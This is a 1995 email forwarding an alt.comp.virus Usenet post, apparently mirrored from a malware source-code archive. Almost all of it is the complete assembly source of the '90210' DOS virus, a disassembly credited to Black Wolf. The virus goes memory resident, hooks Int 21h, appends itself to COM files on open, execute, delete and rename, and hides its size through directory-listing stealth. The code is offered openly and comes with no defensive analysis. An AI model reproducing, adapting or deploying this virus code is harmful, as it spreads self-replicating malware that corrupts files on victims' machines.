mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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378 lines
9.1 KiB
NASM
378 lines
9.1 KiB
NASM
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From smtp Tue Feb 7 13:13 EST 1995
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Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:13 EST
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Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
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id NAA30823 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:16:19 -0500
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Date: Tue, 7 Feb 1995 13:16:19 -0500
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From: lynx.dac.neu.edu!ekilby (Eric Kilby)
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Content-Length: 8866
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Content-Type: text
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Message-Id: <199502071816.NAA30823@lynx.dac.neu.edu>
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To: pobox.jwu.edu!joshuaw
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Subject: (fwd) 90210
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Newsgroups: alt.comp.virus
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Status: O
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Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
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From: danishm@iia.org ()
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Newsgroups: alt.comp.virus
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Subject: 90210
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Date: 5 Feb 1995 21:55:07 GMT
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Organization: International Internet Association.
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Lines: 345
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Message-ID: <3h3hfr$sb@ankh.iia.org>
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NNTP-Posting-Host: iia.org
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X-Newsreader: TIN [version 1.2 PL2]
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Here is the 90210 virus:
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;90210 Virus from the TridenT virus research group.
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;This is a semi-stealth virus that hides file-size changes while
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;it is in memory. It marks the files w/the timestamp. It will
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;infect COM files on open, execute, delete, and rename. It checks
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;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
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;to go memory resident.
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;Disassembly by Black Wolf
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.model tiny
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.code
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org 100h
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start:
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push ax
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call GetOffset
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GetOffset:
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pop bp
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sub bp,offset GetOffset-start
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mov ax,0DEADh
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int 21h ;Are we installed?
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cmp ax,0AAAAh
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je DoneInstall
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mov ax,3521h
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int 21h ;Get int 21 address
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db 2eh, 89h,9eh,77h,0h ;mov cs:[OldInt21-start+bp],bx
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db 2eh, 8ch, 86h, 79h, 0 ;mov word ptr cs:[OldInt21-start+2+bp],es
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mov ax,cs
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0],'Z'
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jne DoneInstall ;Are we the last block in chain?
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mov ax,ds:[3] ;Get MCB size
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sub ax,38h ;subtract virus memory size
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jc DoneInstall ;exit if virus > MCB
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mov ds:[3],ax ;Set MCB size
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;sub word ptr ds:[12h],38h ;Subtract virus mem from
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db 81h,2eh,12h,0,38h,0 ;top of memory in PSP
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mov si,bp
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mov di,0
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mov es,ds:[12h] ;Get top of memory from PSP
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push cs
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pop ds
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mov cx,287h
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cld
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rep movsb ;Copy virus into memory
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mov ax,2521h
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push es
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pop ds
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mov dx,offset Int21Handler-start
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int 21h ;Set int 21h
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DoneInstall:
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mov di,100h
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lea si,[bp+Storage_Bytes-start]
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push cs
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push cs
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pop ds
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pop es
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cld
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movsw
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movsb ;Restore Host file.
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mov bx,offset start
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pop ax
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push bx
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retn ;Return to Host
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VirusName db '[90210 BH]'
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OldInt21:
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dw 0
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dw 0
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Int21Handler:
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cmp ax,0DEADh ;Install Check?
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jne NotInstall
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mov ax,0AAAAh
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iret
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NotInstall:
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cmp ah,11h ;FCB find first
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je FCBSearch
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cmp ah,12h ;FCB find next
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je FCBSearch
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cmp ah,4Eh ;handle find first
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je HandleSearch
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cmp ah,4Fh ;handle find next
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je HandleSearch
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push ax bx cx dx si di bp ds es
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cmp ah,3Dh ;handle file open
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je SetupNameCheck
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cmp ax,4B00h ;file execute
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je SetupNameCheck
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cmp ah,41h ;handle file delete
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je SetupNameCheck
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cmp ah,43h ;get/set attributes
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je SetupNameCheck
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cmp ah,56h ;rename file
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je SetupNameCheck
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cmp ah,0Fh ;Open file w/FCB
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je TryToInfect
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cmp ah,23h
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je TryToInfect ;Get file size
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jmp ExitInfect
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FCBSearch:
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jmp FCBStealth
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HandleSearch:
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jmp HandleStealth
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TryToInfect:
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db 89h,0d6h ;mov si,dx
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inc si
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push cs
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pop es
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mov di,offset ds:[Filename-start] ;Copy filename
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mov cx,8
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rep movsb
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mov cx,3
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inc di
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rep movsb
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mov dx,Filename-start
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push cs
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pop ds
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SetupNameCheck:
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db 89h, 0d6h ;mov si,dx
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mov cx,100h
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cld
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Find_Extension:
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lodsb
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cmp al,'.' ;Find '.'
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je CheckFilename
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loop Find_Extension
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db 0e9h, 13h, 0 ;jmp FilenameBad
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CheckFilename:
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lodsw
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or ax,2020h ;Set to lowercase
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cmp ax,6F63h ;Is it a com file?
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jne FilenameBad
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lodsb
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or al,20h
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cmp al,6Dh
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jne FilenameBad
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db 0e9h, 3, 0 ;jmp InfectFile
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FilenameBad:
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jmp ExitInfect
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InfectFile:
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push dx
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push ds
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mov ax,4300h
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pushf
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call dword ptr cs:[OldInt21-start] ;Get Attributes
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mov word ptr cs:[FileAttribs-start],cx ;Save them
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mov ax,4301h
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xor cx,cx
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pushf
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call dword ptr cs:[OldInt21-start] ;Reset Attribs to 0
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mov ax,3D02h
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pushf
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call dword ptr cs:[OldInt21-start] ;Open file
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jnc OpenGood
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jmp FileClosed
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OpenGood:
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xchg ax,bx
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mov ax,5700h
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pushf
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call dword ptr cs:[OldInt21-start] ;Get file time/date
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mov word ptr cs:[FileTime-start],cx ;save time
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mov word ptr cs:[FileDate-start],dx ;save date
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and cx,1Fh
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cmp cx,1Fh
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jne NotInfected ;Check infection
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db 0e9h, 76h, 0 ;jmp Close_File
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NotInfected:
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mov ah,3Fh
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push cs
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pop ds
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mov dx,Storage_Bytes-start
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mov cx,3
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pushf
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call dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
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cmp word ptr cs:[Storage_Bytes-start],5A4Dh
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je DoneWithFile ;Is it an .EXE file?
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cmp word ptr cs:[Storage_Bytes-start],4D5Ah
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je DoneWithFile ;Alternate EXE sig?
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mov ax,4202h
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xor cx,cx
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xor dx,dx
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pushf
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call dword ptr cs:[OldInt21-start] ;Go end of file.
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sub ax,3 ;Save jump size
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mov word ptr cs:[Jump_Bytes-start+1],ax
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mov ah,40h
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push cs
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pop ds
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mov dx,0
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mov cx,287h
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pushf
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call dword ptr cs:[OldInt21-start] ;Append virus to file
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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int 21h ;go back to beginning
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mov ah,40h
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mov dx,Jump_Bytes-Start
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mov cx,3
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pushf
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call dword ptr cs:[OldInt21-start] ;Write in jump
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or word ptr cs:[FileTime-start],1Fh ;Mark as infected
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DoneWithFile:
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mov ax,5701h
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mov cx,word ptr cs:[FileTime-start]
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mov dx,word ptr cs:[FileDate-start]
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pushf
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call dword ptr cs:[OldInt21-start] ;Restore File Date/Time
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Close_File:
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mov ah,3Eh
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pushf
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call dword ptr cs:[OldInt21-start] ;Close file
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pop ds
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pop dx ;Pop filename address
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push dx
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push ds
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mov ax,4301h
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mov cx,ds:[FileAttribs-start]
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pushf
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call dword ptr cs:[OldInt21-start] ;Restore attributes
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FileClosed:
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pop ds
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pop dx
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ExitInfect:
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pop es ds bp di si dx cx bx ax
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jmp dword ptr cs:[OldInt21-start] ;Jump back into Int 21h
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GetDTA:
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pop si
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pushf
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push ax bx es
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mov ah,2Fh
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call CallInt21
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jmp si
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FCBStealth:
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call CallInt21
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cmp al,0 ;Did call work?
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jne NoStealth
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call GetDTA
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cmp byte ptr es:[bx],0FFh ;Extended FCB?
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jne AfterFCBAdjust
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add bx,8
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AfterFCBAdjust:
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mov al,es:[bx+16h] ;Get time stamp
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and al,1Fh
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cmp al,1Fh ;infected?
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jne DoneFCBStealth
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sub word ptr es:[bx+1Ch],287h ;Subtract virus size
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sbb word ptr es:[bx+1Eh],0 ;adjust for carry
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jmp short ResetTime
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HandleStealth:
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call CallInt21
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jc NoStealth
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call GetDTA
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mov al,es:[bx+16h] ;Get file time
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and al,1Fh
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cmp al,1Fh
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jne DoneFCBStealth
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sub word ptr es:[bx+1Ah],287h ;Subtract virus size
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sbb word ptr es:[bx+1Ch],0 ;adjust for carry
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ResetTime:
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xor byte ptr es:[bx+16h],10h ;Restore time to norm.
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DoneFCBStealth:
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pop es bx ax
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popf
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NoStealth:
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retf 2
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CallInt21:
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pushf
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call dword ptr cs:[OldInt21-start]
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retn
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Storage_Bytes:
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nop
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int 21h
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Filename db 8 dup (0)
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db '.'
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Extension db 3 dup (0)
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db 0
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FileAttribs dw 0
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FileTime dw 0
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FileDate dw 0
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Jump_Bytes db 0E9h, 00h, 00h
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AuthorName db ' John Tardy / TridenT '
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end start
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--
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Eric "Mad Dog" Kilby maddog@ccs.neu.edu
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The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
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Student at the Northeatstern University College of Computer Science
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"I Can't Believe It's Not Butter"
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